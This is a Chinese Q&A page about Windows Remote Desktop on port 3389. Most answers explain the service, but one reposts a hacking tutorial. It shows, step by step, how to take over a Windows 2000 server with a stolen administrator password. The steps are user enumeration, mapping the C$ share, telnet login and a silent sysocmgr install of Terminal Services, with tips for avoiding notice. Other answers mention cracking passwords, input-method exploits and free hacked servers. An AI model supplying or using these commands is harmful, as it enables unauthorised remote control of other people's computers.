什么是3389端口远程控制的机器?

3389端口远程控制是什么意思？ 怎么用 哪下载 详细的我给满星~

就是远程桌面连接。系统自带的一个功能。如果服务端开启了远程桌面连接的服务，那么远程的客户端可以通过远程桌面连接连接到服务端，并且完全控制这台开启了远程桌面连接的服务端。之所以叫3389是因为这项服务的端口是3389

首先的前提是你要确定对方的实际ip和对方电脑是否开启3389端口，还有对方的防火墙有没有关闭，
你自己可以先拿两台电脑来做试验，试验成功了你才可以尝试去控制别人的电脑

首先你要保证两台电脑都在是网
你先在被控制的电脑是安装3389服务
关闭防火墙

知道对方ip 的情况下还要知道对方的登陆账号密码
winxp的默认账号为administrator
如果对方是win2003那么必须要有密码

这样你在用远程桌面工具输入对方ip就可以连接上去了

得到了一台主机的管理员权限,但我们失望的发现这台主机并没有安装3389终端服务组件,
是不是有些懊丧呢?别急,下面我们一起来探索一下远程开启3389的方法.

首先我们应该了解3389终端服务,可以运行在什么系统下,个人了解,终端服务在M$的大部分
产品中都可运行,如:winnt4/win2000server/win2000ADV-server/win2000DS/XP等.
但winnt4中是需要单独购买的,2000专业版不能远程安装终端服务的,至少我没成功过.
我们在以下的探索中,是以win2000server和高级server为例的.(现在用的也最多).

现在开始.

假设我们拿到了一个主机的管理员帐户和密码.
主机: 192.168.0.1
帐号: administrator
密码: 7788
2000系统安装在c:\winnt下

从上面的的介绍可以知道,2000专业版是不可以远程安装终端服务的,那我们就要首先来
判断此主机是专业版还是服务器版,才能进入下一个环节.

我们可以先用对方所开帐户判断:

c:\>letmein \\192.168.0.1 -all -d
stating connecting to server ...
Server local time is: 2002-1-13 10:19:22
Start get all users FORM server...
--------------------------
Total = 5
--------------------------
num0= Administrator ()
num1= Guest ()
num2= IUSR_servername (Internet 来宾帐号 )
num3= IWAM_servername (启动 IIS 进程帐号)
num4= TsInternetUser (TsInternetUser)
--------------------------
Total = 5
--------------------------

一般情况num2/3/4这三个帐户都是2000server默认开启的.
2000专业版默认是不开这些帐户的.

我们也可以扫描对方开放的端口进一步确认:
用扫描软件如:superscan3.exe扫描对方所开端口
判断对方是否开启25,3372等2000server默认开启的端口.

当然我们还可以使用一些工具,如:cmdinfo.zip
这2个东东可以获得本地或远程NT/2K主机的版本,系统路径,源盘路径,PACK版本,安装时间等一
系列信息,一个图形界面,一个命令行.
通过返回的信息就可以很清楚的了解对方主机情况.

还有一些其他的方法来判断,如:从对方所开的服务来确定等,
从上面的判断准确率还算高,别的就不一一说明了.

如果你在以上步骤里发现对方主机并没有那3个帐户,默认端口也没开,
或cmdinfo返回的信息对方是2000专业版,你就要放弃安装3389的计划了.

现在我们要进入下一环节:
判断终端服务到底有没有安装?

你也许要问:为什么还要判断啊?我扫描没有发现3389端口啊?
这里就需要解释一下,如果装了终端服务组件,可能有哪几种情况扫描不到3389端口?
1.终端服务termservice在"管理工具">>>"服务"中被禁用.
2.终端服务连接所需的RDP协议在"管理工具">>>"终端服务配置"中被停用连接.
3.终端服务默认连接端口3389被人为的改变.如何改变请看修改终端服务默认的3389端口(图文)
4.终端服务绑定的网络适配器不是外网的.
5.防火墙和端口过滤之类的问题.
6.....(还有我没想到的)
其实,我们遇到最多的情况就是以上5种情况.

现在开始判组件是否被安装.

先与远程主机连接,映射远程主机C盘为本地Z盘
net use z: \\192.168.0.1\c$ "7788" /user:"administrator"
命令成功完成。

然后转到Z盘,检查
Z:\Documents and Settings\All Users\「开始」菜单\程序\管理工具>
里是否有 "终端服务管理器"和"终端服务配置"的快捷方式文件
如有已安装服务组件的会有,反之,没有(98% 人为故意删的可能性较小)
我们还可以在下一步telnet到对方主机后使用终端服务自带的命令进一步的核实.

判断完毕,对方好像是没有安装终端服务组件,可以进入下一步:
telnet登陆对方主机,准备安装服务组件.

在这里,我强烈建议使用2000自带的telnet服务端登陆,
有回显,不容易出错.个人感觉使用它,一次成功的比例高很多.(呵呵~,个人理解啊!)
就算没有开,打开用完后再关掉就完了.
.abu.写的最快速登录WIN2K TELNET 服务已经把这个方法介绍的非常详细,
而且他的办法(在本机建立同名,同密码帐户),让快速实现telnet登陆成为现实.

假如我们已开启对方23端口,
telnet 192.168.0.1
输入用户名/密码
*===============================================================
欢迎使用 Microsoft Telnet 服务器。
*===============================================================
C:\>
\\成功进入!!!!

进入后,再次检查终端组件是否安装:
c:\>query user
这个工具需要安装终端服务.

这样就进一步确定了组件没有被安装.如果返回:
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>w1 console 0 运行中 . 2002-1-12 22:5
\\类似这样的信息,可能组件就已安装.

好!都清楚了,可以开始安装了.
---------------------------------------------------
C:\>dir c:\sysoc.inf /s //检查INF文件的位置
c:\WINNT\inf 的目录

2000-01-10 20:00 3,770 sysoc.inf
1 个文件 3,770 字节
-----------------------------------------------------
C:\> dir c:\sysocmgr.* /s //检查组件安装程序
c:\WINNT\system32 的目录

2000-01-10 20:00 42,768 sysocmgr.exe
1 个文件 42,768 字节
-----------------------------------------------------
c:\>echo [Components] > c:\wawa
c:\>echo TSEnable = on >> c:\wawa
//这是建立无人参与的安装参数
c:\>type c:\wawa
[Components]
TSEnable = on
//检查参数文件
------------------------------------------------------
c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\wawa /q
-----------------------------------------------------
这一条就是真正安装组件的命令.
以上这条命令没有加/R参数,主机在安装完后自动重起.
如若加了/R参数主机就不会重起.

如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时,
3389终端服务就已经开启.你就可以连上去了.

问题和建议:

A 在安装过程中,不使用/R,有时主机也不会重起,你就要手动重起他,但在使用诸如:iisreset /reboot命令时,对方
的屏幕会出现个对话框,写着谁引起的这次启动,离重起还有多少秒.

B 一次不行可以再试一次,在实际中很有作用.

C 在输入sysocmgr命令开始安装时,一定不要把命令参数输错,那会在对方出现一个大的对话框,是sysocmgr的帮助,很是显眼,
而且要求确定.在你的屏幕上是不会有任何反应的,你不会知道出错，所以会有B的建议.

不清楚行不行

简单来说就是远程桌面管理工具控制的远端电脑

如图：

3389端口是Windows 2000(2003) Server 远程桌面的服务端口,可以通过这个端口,用"远程桌面"等连接工具来连接到远程的服务器,如果连接上了,输入系统管理员的用户名和密码后,将变得可以像操作本机一样操作远程的电脑,因此远程服务器一般都将这个端口修改数值者者关闭.

我们现在一般用8000 8080

说的简单点就是

远程桌面链接

开始菜单-附件-远程桌面链接

这个程序就是通过3389端口连接其他电脑的桌面程序的接口、

登陆上去以后，你的所有操作都是在后台运行，对方不会有实时察觉。

就是远程用了，在运行里面输入mstsc就可以进入远程到了桌面

---

朝阳市13990921838： 什么是3389端口具体点 - ？
葛萱坤灵： 3389端口是Windows 2000(2003) Server 远程桌面的服务端口,可以通过这个端口,用＂远程桌面＂等连接工具来连接到远程的服务器,如果连接上了,输入系统管理员的用户名和密码后,将变得可以像操作本机一样操作远程的电脑,因此远程...

朝阳市13990921838： 什么是3389？
葛萱坤灵： 原指计算机的3389端口 因为它属于WINDOWS的 远程桌面的 初始端口[可以修改] 所以一般被用来 代指 远程桌面 微软的远程桌面 是为了方便广大计算机管理员远程管理自己的计算机而设定的, 但是只要有管理密码,3389可以为任何有管理密码...

朝阳市13990921838： 什么是3389端口远程控制的机器?？
葛萱坤灵： 远程桌面连接

朝阳市13990921838： 什么是远程终端? - ？
葛萱坤灵： 远程终端就是利用服务器安装的终端服务端口3389,安装远程控制工具,可以在任何地方进行登录服务器,从而实现远程控制.远程终端操作中需注意: 1限制断开会话存在时间 一般情况下,我们在维护远程服务器时,不可能长时间在线,但...

朝阳市13990921838： 3389端口远程控制？
葛萱坤灵： 通常3389都是用于远程控制端口,就好似HTTP的默为是80端口,和FTP的默认端口是21,在服务器是随便可以设置的(你也可以把HTTP或FTP的端口设成3389),这个端口只是提供服务(就像3389),并不是这端口是用来控制远程电脑的,如果想控制远程电脑可以去找一下相关的软件,这类软件很多.

朝阳市13990921838： 什么叫3389和4899端口?？
葛萱坤灵： 3389端口是Windows的远程管理终端所开的端口,它并不是一个木马程序,默认是开放的.如果不是必须的,最好关闭该服务. 4899端口是一个远程控制软件(remote administrator)服务端监听的端口,它不能算是一个木马程序,但是具有远程控制功能,通常杀毒软件是无法查出它来的.

朝阳市13990921838： 3389端口是干什么的?任何有系统的电脑的3389端口都开着吗? - ？
葛萱坤灵： 微软自己的远程访问接口 这个端口只有在装WINDOWS的机器上才会开 一般只在服务器版的WINDOWS上才有效果(如WIN2000,WIN2003,WIN2008等) 个人版一般无效,个人版(如XP WIN7)多是单客户,如果远程登录了,会把本地登录的人挤掉. 当然,可以通过HACKER手段修改,使之支持. 如果你知道有人的服务器是开3389的,又知道他的administrator密码 你可以用开始->运行->mstsc 然后输入进去玩玩 很多黑客论坛经常发放免费的3389服务器,可以玩下

朝阳市13990921838： 什么是3389端口?？
葛萱坤灵： 远程桌面服务端口,连接上了远程电脑,输入用户名和密码,就控制了这台电脑.

朝阳市13990921838： 什么是3389断口?怎么进入?？
葛萱坤灵： 3389是远程连接端口,管理员可以通过网络来远程操作服务器便于维护,win2000/xp/2003都有而且是系统自带的软件,连接程序在“开始”-程序-附件-远程桌面连接,在里面输入要连接的电脑IP就再输入密码就可进入了,如果你没有密码是进不去的,XP只能登陆一个用户不能同时登陆多个用户,想没用密码也能进入别人系统就只能暴破或用输入法漏洞这种方法了,但成功的机率很小.

朝阳市13990921838： 3389端口是干什么的啊？
葛萱坤灵： 远程;连接 也就是 超级终端可以实现远程管理啊什么的 比如服务器就需要远程3389连接啊呵呵